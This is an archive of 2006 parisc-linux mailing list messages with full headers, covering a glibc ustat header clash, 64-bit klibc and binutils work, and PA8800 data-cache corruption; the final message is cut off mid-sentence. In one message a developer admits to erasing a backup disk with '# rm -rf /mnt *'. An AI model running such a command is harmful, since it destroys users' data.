X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jul 2006 00:51:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx086) with SMTP; 25 Jul 2006 02:51:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D3A1A7D75F;
	Mon, 24 Jul 2006 18:50:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24741-10; Mon, 24 Jul 2006 18:50:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0DF6F7D757;
	Mon, 24 Jul 2006 18:50:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A0C1D7D754
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 18:50:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24885-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 18:50:49 -0600 (MDT)
Original-Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36])
	by free.linux.hp.com (Postfix) with ESMTP id 8086F7D753
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 18:50:49 -0600 (MDT)
Original-Received: from [192.168.223.50] ([24.203.249.139])
	by VL-MH-MR002.ip.videotron.ca
	(Sun Java System Messaging Server 6.2-2.05 (built Apr 28 2005))
	with ESMTP id <0J2X006PSP0OWKC0@VL-MH-MR002.ip.videotron.ca> for
	parisc-linux@lists.parisc-linux.org;
	Mon, 24 Jul 2006 20:50:48 -0400 (EDT)
In-reply-to: <119aab440607161313h4c196882gab171b4614957b7c@mail.gmail.com>
X-Mailer: Evolution 2.7.4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mh+sd2NgeWU3uq2TZm9nGW4rL0tsZg2u
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23874

On dim, 2006-07-16 at 16:13 -0400, Carlos O'Donell wrote:
> On 7/16/06, Jeff Bailey <jbailey@raspberryginger.com> wrote:
> > On Sun, Jul 16, 2006 at 06:39:15PM +0200, Andreas Schwab wrote:
> >
> > > > The problem is that bits/ustat.h includes the definition of struct
> > > > ustat.  However, sys/types.h eventually winds up pulling in
> > > > linux/types.h which also defines struct ustat.
> > >
> > > <sys/types.h> should not include <linux/types.h> in the first place.
> >
> > It seems like it ought to now that the kernel is exporting a set of
> > headers that are intended to be used by userspace.  struct ustat is
> > defined in linux/types.h.
> 
> In which case this patch should go upstream to libc-alpha, where the
> generic version of ustat.h should be changed.

Certainly, but could you apply the second patch in the meantime?  That's
what all the other arch's do right now, and it will at least make
current glibc buildable with current kernel headers.  I'll try and pitch
the concept of using kernel headers instead of copying values into glibc
when I have enough time and energy to fight that battle.

Tks,
Jeff Bailey

-- 
Although when you're in the situation that RMS is telling you that
you're being too ideological about freedom, maybe, just maybe, it's
true.
- Matthew Wilcox

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Sun, 23 Jul 2006 22:39:22 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <7d01f9f00607231939x50741ff4le79858bad05b5cd8@mail.gmail.com>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
	<7d01f9f00607221801v256dd541l152a85d7624a8d5b@mail.gmail.com>
	<200607231128.45454.mszick@morethan.org>
	<7d01f9f00607231503j7943b075ub6d98f0d5f9c3162@mail.gmail.com>
	<20060724014058.GA5542@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624148 20621 80.91.229.3 (22 Nov 2014 02:42:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 02:39:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 24 Jul 2006 04:39:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B62597D707;
	Sun, 23 Jul 2006 20:39:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09026-04; Sun, 23 Jul 2006 20:39:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C1E977D703;
	Sun, 23 Jul 2006 20:39:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1EA0F7D6FB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 20:39:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08797-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 20:39:24 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.168])
	by free.linux.hp.com (Postfix) with ESMTP id BEC497D6FA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 20:39:23 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so2279898ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 19:39:22 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=k+CloSiFUUXnsY54nHA4IYB+ZpsGmenMfN6XxpSQUV1uqEGL3OtRAj/U3PeoJ8F11LSm8dpjEE8DSRwaX63+Khxd9K2PKqlZ/6oQpyG9HmizSlbXj4WLCeL4GNcU8x9keH7sh8BOIlnCp0Ca3AqJlDdlSRQx0/S/p6t229DZXRQ=
Original-Received: by 10.78.139.5 with SMTP id m5mr1293414hud;
	Sun, 23 Jul 2006 19:39:22 -0700 (PDT)
Original-Received: by 10.78.172.2 with HTTP; Sun, 23 Jul 2006 19:39:22 -0700 (PDT)
In-Reply-To: <20060724014058.GA5542@athena.road.mcmartin.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 879403e11bd53173
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rnSiLtwAaHI+vqWnKSUlH6BqamdhZATm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23875

On 7/23/06, Kyle McMartin <kyle@mcmartin.ca> wrote:
> On Sun, Jul 23, 2006 at 06:03:47PM -0400, Thibaut VARENE wrote:
> > That box hit the "kill your fs" bug I've seen on ppc and ia64
> > (upcoming report mail to be posted soon) so it's basically dead at
> > that point and I'm having hard time reinstalling it (thanks to pa8800
> > being /such/ a hassle to install remotely).
> >
>
> Does it have two disks? Maybe we should keep one disk as 'known good'
> backup on ioz and magnum, and if they crap out, BO ALT and dd it over
> the scrogged disk? Just a thought which might save some pain in the
> future considering they are crash n' bash machines.

It /had/ two disks and one good backup. Until I ran (for my own shame
and that of my offsprings) '# rm -rf /mnt *' on the backup one...

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [klibc] [parisc-linux] klibc parisc64
Date: Mon, 24 Jul 2006 21:46:34 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20060725014634.GA4313@athena.road.mcmartin.ca>
References: <200607242311.k6ONBMY0004933@hiauly1.hia.nrc.ca>
	<44C554F9.9020402@zytor.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624148 20624 80.91.229.3 (22 Nov 2014 02:42:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:28 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 klibc@zytor.com,
 parisc-linux@lists.parisc-linux.org
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jul 2006 01:47:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 25 Jul 2006 03:47:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 23B7D7D76F;
	Mon, 24 Jul 2006 19:47:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25705-04; Mon, 24 Jul 2006 19:47:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 774527D774;
	Mon, 24 Jul 2006 19:47:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 484337D76C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 19:47:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25473-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 19:47:08 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 2CE587D75D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 19:47:08 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 230E25840AE;
	Mon, 24 Jul 2006 21:47:05 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 7DBA458408E;
	Mon, 24 Jul 2006 21:47:04 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 1218823E83;
	Mon, 24 Jul 2006 21:47:04 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06764-04; Mon, 24 Jul 2006 21:47:03 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id BF25B23E82;
	Mon, 24 Jul 2006 21:47:03 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 4D1DF3B060; Mon, 24 Jul 2006 21:46:34 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <44C554F9.9020402@zytor.com>
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: F07wdcEebUko7+nGPWgnKm1kZ2hlN0o5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23876

On Mon, Jul 24, 2006 at 04:17:13PM -0700, H. Peter Anvin wrote:
> OK, well then it's probably pointless to try to get 64-bit klibc up and 
> running on it at this point.  That's fine, though; we can just use 32-bit.
> 

Just means I need to learn to hack binutils. No big deal. :)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [klibc] [parisc-linux] klibc parisc64
Date: Mon, 24 Jul 2006 23:09:49 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <20060725030949.GA7480@hiauly1.hia.nrc.ca>
References: <200607242311.k6ONBMY0004933@hiauly1.hia.nrc.ca>
	<44C554F9.9020402@zytor.com>
	<20060725014634.GA4313@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624149 20627 80.91.229.3 (22 Nov 2014 02:42:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:29 +0000 (UTC)
Cc: klibc@zytor.com,
 parisc-linux@lists.parisc-linux.org,
 "H. Peter Anvin" <hpa@zytor.com>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jul 2006 03:10:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 25 Jul 2006 05:10:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4161A7D796;
	Mon, 24 Jul 2006 21:09:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26179-07; Mon, 24 Jul 2006 21:09:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D34C17D79A;
	Mon, 24 Jul 2006 21:09:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 437F37D791
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 21:09:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26179-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 21:09:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 1B06F7D78D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 21:09:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k6P39oJ9007552;
	Mon, 24 Jul 2006 23:09:50 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k6P39ot1007551;
	Mon, 24 Jul 2006 23:09:50 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20060725014634.GA4313@athena.road.mcmartin.ca>
User-Agent: Mutt/1.4.2.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: s7n8cY87eWU7sreUfHVzaXI5U3U4N49q
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23877

On Mon, Jul 24, 2006 at 09:46:34PM -0400, Kyle McMartin wrote:
> On Mon, Jul 24, 2006 at 04:17:13PM -0700, H. Peter Anvin wrote:
> > OK, well then it's probably pointless to try to get 64-bit klibc up and 
> > running on it at this point.  That's fine, though; we can just use 32-bit.
> > 
> 
> Just means I need to learn to hack binutils. No big deal. :)

Patches to clean up the relationship between hpux and linux, and
to define the linux 64-bit runtime are welcome.  For example,
we have in hppa64linux.sh:

SCRIPT_NAME=elf
ELFSIZE=64
# FIXME: this output format is for hpux.
OUTPUT_FORMAT="elf64-hppa-linux"
...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Sun, 23 Jul 2006 22:33:45 -0400
Lines: 85
Approved: news@gmane.org
Message-ID: <1153708426.1235.11.camel@mulgrave.il.steeleye.com>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624149 20629 80.91.229.3 (22 Nov 2014 02:42:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:29 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 02:43:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 24 Jul 2006 04:43:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7C9097D713;
	Sun, 23 Jul 2006 20:43:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09107-08; Sun, 23 Jul 2006 20:43:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 845FE7D70C;
	Sun, 23 Jul 2006 20:43:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41D017D70A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 20:43:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09026-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 20:43:05 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id EFBF57D706
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 20:43:04 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k6O2h1Y18101; Sun, 23 Jul 2006 22:43:02 -0400
In-Reply-To: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8Ar3fIdCMmApvrSZZGFnTf0xMjQ1N52w
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23878

On Sat, 2006-07-22 at 13:50 -0400, Carlos O'Donell wrote: 
> After spending ~4 hours of debugging yesterday evening, between
> Thibaut, Dave, and myself, we firmly believe the PA8800 problems are
> data cache issues.

Thanks very much for spending the time to do this!

> a) We think it is not an icache issue, but infact a dcache issue.
> 
> Often it appears as if a register was corrupted, but the truth is that
> the ldw loaded bogus data into a register.

OK, I'll buy this provisionally ... D cache incoherence is far more
difficult to explain than D/I incoherence, but I'll try.

> b) One time, on a later comparison in gdb, the register and data in
> memory did not equal. I stress that we only saw this situation once.

OK, as long as it was a register read, this must have been D
incoherence.

> c) We have often seen the failure with the frame marker on a cacheline
> boundary, for example 0xc0278100 (e.g. 256 bytes).
> 
> It is my hope that these patterns will trigger someone to devise a
> plan for fixing this. If you have any questions about our methods, or
> reproducing this, you can easily talk to Thibaut and we can probably
> setup access to the test sshd binary.

OK .. let me try to think of this one.  To me, the pattern indicates
errors in newly faulted memory (either from stack growth or touching
malloced areas which are mmapped in glibc).  So, here's the only current
